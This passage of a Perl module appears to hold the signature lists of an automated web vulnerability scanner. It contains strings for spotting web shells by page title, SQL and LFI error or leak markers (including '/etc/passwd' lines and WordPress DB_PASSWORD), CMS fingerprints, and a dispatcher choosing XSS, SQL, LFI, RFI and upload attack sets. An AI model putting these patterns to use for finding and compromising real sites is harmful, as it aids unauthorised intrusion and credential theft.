}

sub E_LUA { 
  my @E_LUA = ("LuaPlayer ERROR:", "CGILua message", "Lua error");
  return @E_LUA;
}

sub E_UNDEFINED { 
  my @E_UNDEFINED = ("Incorrect syntax near", "Fatal error", "Invalid Querystring", "Input string was not in a correct format", "An illegal character has been found in the statement");
  return @E_UNDEFINED;
}

sub E_MARIADB { 
  my @E_MARIADB = ("MariaDB server version for the right syntax");
  return @E_MARIADB;
}

sub E_SHELL { 
  my @E_SHELL = ("c99shell<\/title\>", "C99Shell v", "<form method=\"POST\" action=\"cfexec.cfm\"\>", "<input type=text name=\".CMD\" size=45 value=", "<title\>awen asp.net webshell<\/title\>",
             "<FORM METHOD=GET ACTION=\"cmdjsp.jsp\"\>", "JSP Backdoor Reverse Shell", "Simple CGI backdoor by DK", "execute command: <input type=\"text\" name=\"c\"\>", "Execute Shell Command",
             "r57shell<\/title\>", "<title>r57Shell", "heroes1412", "MyShell", "PHP Shell", "PHPShell", "REMVIEW TOOLS", "<title>iTSecTeam<\/title>", "JSP Backdoor Reverse Shell",
             "<title\>(.*)ernealizm(.*)\/title>", "<title\>JSP Shell<\/title\>", "<title\>KNULL Shell<\/title\>", "<title\>(.*)WSO(.*)<\/title>", "<title>SST Sheller !<\/title\>",
             "<title\>SyRiAn Sh3ll", "<title\>Mini Php Shell", "<title>ASPX Shell<\/title>", "<title>ZoRBaCK Connect<\/title>", "<title>.+Ani-Shell.+<\/title>",
             "<title>Stored Procedure Execute<\/title\>", "<title\>:: www.h4ckcity.org :: Coded By 2MzRp & LocalMan ::<\/title\>", "<title\>PhpShell 2.0<\/title\>",
             "<title\>(.*)NTDaddy(.*)<\/title\>", "<title\>PHP-Terminal");
  return @E_SHELL;
}

########################################################################################################################
## HTML VALIDATION
sub V_WP { 
  my @V_WP=("<a href=\"https:\/\/wordpress.org\/\">Proudly powered by WordPress", "<meta name=\"generator\" content=\"WordPress", "\/wp-content\/(.*).js", "\/wp-content\/themes\/", "\/wp-content\/plugins\/");
  return @V_WP;
}
sub V_JOOM { 
  my @V_JOOM=("<meta name=\"generator\" content=\"Joomla");
  return @V_JOOM;
}
sub V_TP { 
  my @V_TP=("Powered by <a href=\"http:\/\/www.textpattern.com\" title=\"Textpattern");
  return @V_TP;
}
sub V_SMF { 
  my @V_SMF=("<a href=\"http:\/\/www.simplemachines.org/about/copyright.php\" title=\"Free Forum Software\" target=\"_blank\">SMF");
  return @V_SMF;
}
sub V_PhpBB { 
  my @V_PhpBB=("Powered by <a href=\"http:\/\/www.phpbb.com/\">phpBB");
  return @V_PhpBB;
}
sub V_VB { 
  my @V_VB=("<a href=\"https:\/\/www.vbulletin.com\" id=\"vbulletinlink\">vBulletin", "vBulletin Solutions\, Inc\. All rights reserved");
  return @V_VB;
}
sub V_MyBB { 
  my @V_MyBB=("Powered By <a href=\"http:\/\/www.ourbboard.net\" target=\"_blank\">MyBB");
  return @V_MyBB;
}
sub V_CF { 
  my @V_CF=("<a href=\"http:\/\/www.cloudflare.com\/\" target=\"_blank\" style", "DDoS protection by CloudFlare");
  return @V_CF;
}
sub V_DRP { 
  my @V_DRP=("name=\"Generator\" content=\"Drupal");
  return @V_DRP;
}
sub V_PN { 
  my @V_PN=("<meta name=\"generator\" content=\"PostNuke");
  return @V_PN;
}
sub V_AT { 
  my @V_AT=("<a href=\"/about.php\">About ATutor");
  return @V_AT;
}
sub V_PHPN { 
  my @V_PHPN=("<META NAME=\"GENERATOR\" CONTENT=\"PHP-Nuke");
  return @V_PHPN;
}
sub V_MD { 
  my @V_MD=("Powered by <a href=\"http:\/\/moodle.org\" title=\"Moodle\">Moodle", "<meta name=\"keywords\" content=\"moodle");
  return @V_MD;
}
sub V_ACM { 
  my @V_ACM=("Powered by <a href=\"http:\/\/www.adaptcms.com\">AdaptCMS");
  return @V_ACM;
}
sub V_SS { 
  my @V_SS=("<meta name=\"generator\" content=\"SilverStripe - http:\/\/silverstripe.org\" \/>");
  return @V_SS;
}
sub V_MX { 
  my @V_MX=("<a href=\"http:\/\/www.modx.com\" target=\"_blank\"> Powered by MODx");
  return @V_MX;
}
sub V_XO { 
  my @V_XO=("<meta name=\"generator\" content=\"XOOPS");
  return @V_XO;
}
sub V_OSC { 
  my @V_OSC=("Powered by osCommerce", "<a href=\"http:\/\/www.oscommerce.com\" target=\"_blank\">osCommerce");
  return @V_OSC;
}
sub V_PSH { 
  my @V_PSH=("<a class=\"_blank_blank\" href=\"http:\/\/www.prestashop.com\" target=\"_blank", "Software para Ecommerce de PrestaShop");
  return @V_PSH;
}
sub V_BB2 { 
  my @V_BB2=("<meta name=\"generator\" content=\"b2evolution");
  return @V_BB2;
}
sub V_MG { 
  my @V_MG=("MAGENTO\, INC\. ALL RIGHTS RESERVED", "Magento Ecommerce by Smart Solutions");
  return @V_MG;
}
sub V_ZC { 
  my @V_ZC=("all rights reserved Zen Cart", "<a href=\"http:\/\/www.zen-cart.com\" target=\"_blank\">Zen Cart");
  return @V_ZC;
}
sub V_CC5 { 
  my @V_CC5=("Powered by concrete5", "<meta name=\"generator\" content=\"concrete");
  return @V_CC5;
}
sub V_OCR { 
  my @V_OCR=("Powered By OpenCart");
  return @V_OCR;
}
sub V_XSS { 
  my @V_XSS=("XSS Error");
  return @V_XSS;
}

sub V_SQL { 
  my @V_SQL=("You have an error in your SQL", "Warning: mysql_", "Query failed: ERROR", "function.mysql", "MySQL result index", "MySQL Error", "MySQL ODBC", "MySQL Driver", "oursqli.query", "num_rows", "mysql error:",
           "supplied argument is not a valid MySQL result resource", "on MySQL result index", "Error Executing Database Query", "mysql_", 
           "Error SQL", "Fatal error: Uncaught exception");
  return @V_SQL;
}
 
sub V_LFI { 
  my @V_LFI=("root:x", "root:x:0:0:", "oursql:x:");
  return @V_LFI;
}
sub V_TODO { 
  my @V_TODO=(".", "a", "e", "i", "o", "u", ",");
  return @V_TODO;
}
sub V_AFD { 
  my @V_AFD=("DB_NAME", "DB_USER", "DB_PASSWORD");
  return @V_AFD;
}
sub V_INPUT { 
  my @V_INPUT=("email", "file", "password", "search", "text", "textarea", "url", "tel", "time");
  return @V_INPUT;
}

sub TODO { 
  my @TODO=();
  return @TODO;
}
sub V_EMAIL {
  return our $V_EMAIL='((([A-Za-z0-9]+_+)|([A-Za-z0-9]+\-+)|([A-Za-z0-9]+\.+)|([A-Za-z0-9]+\++))*[A-Za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1,63}\.[a-zA-Z]{2,6})';;
}

sub V_IP {
  return '((\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3}))';
}

sub V_RANG {
  return '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\-(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})';
}

sub V_SEARCH {
  return '((https?|ftps?):\/\/([^>\"\<\'\(\)\#\s]*))';
}

##
sub exploits {
  my ($xss, $sql, $lfi, $JoomRfi, $WpAfd, $adminPage, $subdomain, $mzip, $mupload, $exploits) = @_;
  my @exploits = @{$exploits};
  if (defined $xss) { @exploits = scalar @exploits > 0 ? @exploits : XSS(); }
  if (defined $sql) { @exploits = scalar @exploits > 0 ? @exploits : SQL(); }
  if (defined $lfi) { @exploits = scalar @exploits > 0 ? @exploits : LFI(); }
  if (defined $JoomRfi) { @exploits = scalar @exploits > 0 ? @exploits : RFI(); }
  if (defined $WpAfd) { @exploits = scalar @exploits > 0 ? @exploits : ADFWP(); }
  if (defined $adminPage) { @exploits = scalar @exploits > 0 ? @exploits : ADMIN(); }
  if (defined $subdomain) { @exploits = scalar @exploits > 0 ? @exploits : SUBDOMAIN(); }
  if (defined $mzip) { @exploits = scalar @exploits > 0 ? @exploits : ZIP(); }
  if (defined $mupload) { @exploits = scalar @exploits > 0 ? @exploits : UPLOAD(); }
  return @exploits;
}

#####################################################################################################################


1;